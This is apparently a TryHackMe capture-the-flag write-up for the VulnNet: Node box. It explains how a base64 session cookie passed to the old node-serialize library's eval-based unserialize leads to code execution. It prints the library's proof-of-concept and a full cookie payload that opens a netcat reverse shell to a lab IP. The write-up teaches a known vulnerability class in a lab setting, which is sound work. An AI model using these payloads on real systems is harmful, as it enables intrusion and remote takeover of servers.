VulnNet: Node

After the previous breach, VulnNet Entertainment states it won’t happen again. Can you prove they’re wrong?

Easy rated. This is VulnNet: Node from THM. the Node refers to node.js, and this box has a node deserialization foothold. This isn’t a standard write-up; it’s all about the foothold.

Ports

Obviously we’re looking for a web port, and the only open port is 8080, so that’s what we want. Nmap tells us:

PORT STATE SERVICE REASON VERSION
8080/tcp open http syn-ack ttl 63 Node.js Express framework

HTTP

On the page we visit it’s a news type page, with a link to a login form. We don’t need the login page, although if you figured that out immediately then you’re sharper than I am. Cutting to the chase: the vulnerable point of this webapp is insecure deserialization of a cookie. Visiting the front page is enough to get the cookie set:

Cookie: session=eyJ1c2VybmFtZSI6Ikd1ZXN0IiwiaXNHdWVzdCI6dHJ1ZSwiZW5jb2RpbmciOiAidXRmLTgifQ%3D%3D

This looks like (and is) base64. We can decode it:

{“username”:”Guest”,”isGuest”:true,”encoding”: “utf-8”}

So, how do we know this might be vulnerable to deserialization? It helps if we can prompt an error. Using Burp Suite repeater, we can GET a page that we know exists; it doesn’t work with a 404 error. If we delete part of the cookie, we can get this error:

SyntaxError: Unexpected token � in JSON at position 56
   at JSON.parse (<anonymous>)
   at Object.exports.unserialize (/home/www/VulnNet-Node/node_modules/node-serialize/lib/serialize.js:62:16)
   at /home/www/VulnNet-Node/server.js:16:24
   at Layer.handle [as handle_request] (/home/www/VulnNet-Node/node_modules/express/lib/router/layer.js:95:5)
   at next (/home/www/VulnNet-Node/node_modules/express/lib/router/route.js:137:13)
   at Route.dispatch (/home/www/VulnNet-Node/node_modules/express/lib/router/route.js:112:3)
   at Layer.handle [as handle_request] (/home/www/VulnNet-Node/node_modules/express/lib/router/layer.js:95:5)
   at /home/www/VulnNet-Node/node_modules/express/lib/router/index.js:281:22
   at Function.process_params (/home/www/VulnNet-Node/node_modules/express/lib/router/index.js:335:12)
   at next (/home/www/VulnNet-Node/node_modules/express/lib/router/index.js:275:10)

According to the error, this is a result of invalid JSON. Experimenting shows that deleting the D at the end of the cookie triggers the error, and so does deleting 3D. However deleting %3D (equivalent to a single = in base64) does not trigger the error. Deleting some large arbitrary part (eg. half of it) will prompt the error.

Deleting the entire cookie or setting it to an empty string will not trigger the error. Changing the parameters in the cookie, e.g.

{“username”:”Timo”,”isGuest”:false,”encoding”: “utf-8”}

encoded:

eyJ1c2VybmFtZSI6IlRpbW8iLCJpc0d1ZXN0IjpmYWxzZSwiZW5jb2RpbmciOiAidXRmLTgifQ==

will not prompt the error. Setting the cookie to some nonsense value will trigger the error:

Cookie: session=asdasdasasd

Error message

We can see from the error message, we’re specifically using node_modules/node-serialize/lib/serialize.js. Skipping ahead, we can get information about what was used in this box:

$ cat package.json
{
  "_from": "node-serialize@0.0.4",
  "_id": "node-serialize@0.0.4",
  "_inBundle": false,
  "_integrity": "sha1-tzpJ4TUzBmVxA6Xkn38FJ5upf38=",
  "_location": "/node-serialize",
  "_phantomChildren": {},
  "_requested": {
    "type": "version",
    "registry": true,
    "raw": "node-serialize@0.0.4",
    "name": "node-serialize",
    "escapedName": "node-serialize",
    "rawSpec": "0.0.4",
    "saveSpec": null,
    "fetchSpec": "0.0.4"
  },

Digging into the package, we can see that the timestamp on the file (serialize.js) is from May 2014(!), so it’s super old. It contains this code:

var circularTasks = [];
  var key;
  for(key in obj) {
    if(obj.hasOwnProperty(key)) {
      if(typeof obj[key] === 'object') {
        obj[key] = exports.unserialize(obj[key], originObj);
      } else if(typeof obj[key] === 'string') {
        if(obj[key].indexOf(FUNCFLAG) === 0) {
          obj[key] = eval('(' + obj[key].substring(FUNCFLAG.length) + ')');
        } else if(obj[key].indexOf(CIRCULARFLAG) === 0) {
          obj[key] = obj[key].substring(CIRCULARFLAG.length);
          circularTasks.push({obj: obj, key: key});
        }
      }
    }
  }

The github repo for the code actually calls out the issue:

This module provides a way to unserialize strings into executable JavaScript code, so that it may lead security vulnerabilities if the original strings can be modified by untrusted third-parties (aka hackers). For instance, the following attack example provided by ajinabraham shows how to achieve arbitrary code injection with an IIFE:

var serialize = require('node-serialize');
var x = '{"rce":"_$$ND_FUNC$$_function (){console.log(\'exploited\')}()"}'
serialize.unserialize(x);

Interestingly, at the current serialize javascript page at npm - github here - it specifically says:

Deserializing
For some use cases you might also need to deserialize the string. This is explicitly not part of this module. However, you can easily write it yourself:

function deserialize(serializedJavascript){
  return eval('(' + serializedJavascript + ')');
}

The vulnerability in the original version arises through the use of eval, which the new package doesn’t include but tells you to DIY, because YOLO I guess lol.

Vuln

The original writeup for the vulnerability seems to be here. The exploit code is deserialized by the library, but in order to get it to execute, you need to use the Immediately invoked function expression (IIFE); essentially ‘()’ after the function body.

There’s a slightly more detailed write-up here; which expressly states:

This means that if we create a JSON object with an arbitrary parameter which contains a value that begins with

_$$ND_FUNC$$_

we get remote code execution because it will eval.

This isn’t explained anywhere, but it does appear repeatedly in writeups for this box and descriptions of the vulnerability. Where does it come from? From the source code of the library, actually:

(function () {
  var FUNCFLAG = '_$$ND_FUNC$$_';
  var CIRCULARFLAG = '_$$ND_CC$$_';
  var KEYPATHSEPARATOR = '_$$.$$_';
  var ISNATIVEFUNC = /^function\s*[^(]*\(.*\)\s*\{\s*\[native code\]\s*\}$/;
// etc

So one example of code for a shell is this:

{"username":"_$$ND_FUNC$$_function (){\n \t require('child_process').exec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.9.10.123 1234 >/tmp/f')}()","isGuest":false,"encoding": "utf-8"}

No doubt there are others. So, an interesting foothold that could perhaps occur in real life scenarios. The error message is very helpful in narrowing down the focus, and knowing what works to prompt that message is half the battle.